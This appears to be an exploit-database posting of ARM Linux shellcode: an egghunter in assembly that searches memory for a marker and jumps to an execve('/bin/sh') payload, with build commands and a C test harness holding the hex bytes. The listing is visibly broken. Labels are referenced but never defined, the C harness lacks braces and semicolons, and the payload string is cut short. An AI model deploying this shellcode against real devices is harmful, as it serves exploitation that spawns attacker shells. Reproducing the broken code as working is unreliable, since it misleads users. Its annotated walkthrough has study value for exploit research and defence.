Linux/ARM - Egghunter (0x50905090) + execve('/bin/sh') Shellcode (60 bytes)

Author: rtmcx Published: 2018-06-11 Verified: Verified



* Title:  Linux/ARM - Memsafe egghunter (0x50905090) + execve("/bin/sh").  Null free shellcode (60 bytes)
* Date:   2018-06-06
* Tested: armv7l (Raspberry Pi v3) and armv6l (Raspberry Pi Zero W)
* Author: rtmcx - twitter: @rtmcx
* Description:  The shellcode will search the memory for the "EGG" and, when found, redirect execution to the location just after the EGG.
.global _start
    /* Enter Thumb mode for shorter shellcode */
    add r5, pc, #1 
    bx  r5
    /* Enter ARM mode (to easier calculate and set pagesize) */
    mov r5, pc     
    bx  r5     
    /* Memory page alignment. */
    mvn r1, r1, lsr #0x0c
    mvn r1, r1, lsl #0x0c
    /* Enter Thumb mode again */
    add r5, pc, #1 
    bx  r5
    add r1, r1, #1      // Go to next address
    ldr r3, egg         // set r3 to eggs value
    // Setup syscall "sigaction"
    mov r7, #0x43       // sigaction (syscall number 67, 0x43)
    svc 1           // Execute syscall (result is stored in r0)
    /* Compare the result */
    sub r7, #0x51       // Calculate r7 to become 0xF2 (0x43 - 0x51)
    cmp r0, r7          // Did we get EFAULT? (value 0xF2) 
    beq page_align      // Yes, invalid adddress, next page
    /* We have access to the page and can start to search for the egg.. */
    ldr r2, [r1]        // Place the byte at address in r2
    cmp r2, r3          // Compare the egg with address bytes
    bne hunting         // Not the same, go to next byte
    /* Here we have either found the EGG or searched the entire memory.
       If the EGG was not found, this will probably cause a SEGFAULT,
       since the instruction that is executed next might be an invalid one. */
    /* Enter ARM mode */
    /* Since we dont know which type of shellcode that will be executed (it is up to the shellcode to set correct mode) */
    mov r5, pc     
    bx  r5     
    /* Set PC to execute code at address*/
    mov pc, r1          // Jump to shellcode (byte after egg)
    .ascii  "\x50\x90\x50\x90"
Compile and link with:
# as -o egghunter.o egghunter.s
# ld -N egghunter.o -o egghunter
Extract egghunter shellcode:
# objcopy -O binary egghunter egghunter.bin
# hexdump -v -e '"\\""x" 1/1 "%02x" ""' egghunter.bin
// ------ egghunter-tester.c ------------------------
#include <stdio.h>
#include <string.h>
//Compile with (on Raspberry Pi v3):
//gcc -N -static-libgcc egghunter-tester.c -o egghunter-tester
#define EGG "\x90\x50\x90\x50"
unsigned char egg[] = EGG;
unsigned char *egghunter = "\x01\x50\x8f\xe2\x15\xff\x2f\xe1\x7d\x46\x28\x47\x21\x16\xe0\xe1\x01\x16\xe0\xe1\x01\x50\x8f\xe2\x15\xff\x2f\xe1\x01\x31\x06\x4b\x43\x27\x01\xdf\x51\x3f\xb8\x42\xee\xd0\x0a\x68\x9a\x42\xf5\xd1\x7d\x46\x28\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";
// The shellcode to search for (in this case "execve('/bin/sh')")
unsigned char *shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x49\x40\x52\x40\x01\xa0"
void main()
    char buffer[200];
    strcpy(buffer, egg);   
    strcpy(buffer+4, shellcode);   
    printf("Egg hunter shellcode Length:  %d\n", strlen(egghunter));
    printf("Shellcode Length (inc egg):  %d\n", strlen(buffer));
    printf("Stack location: %p\n",  buffer);
    int (*ret)() = (int(*)())egghunter;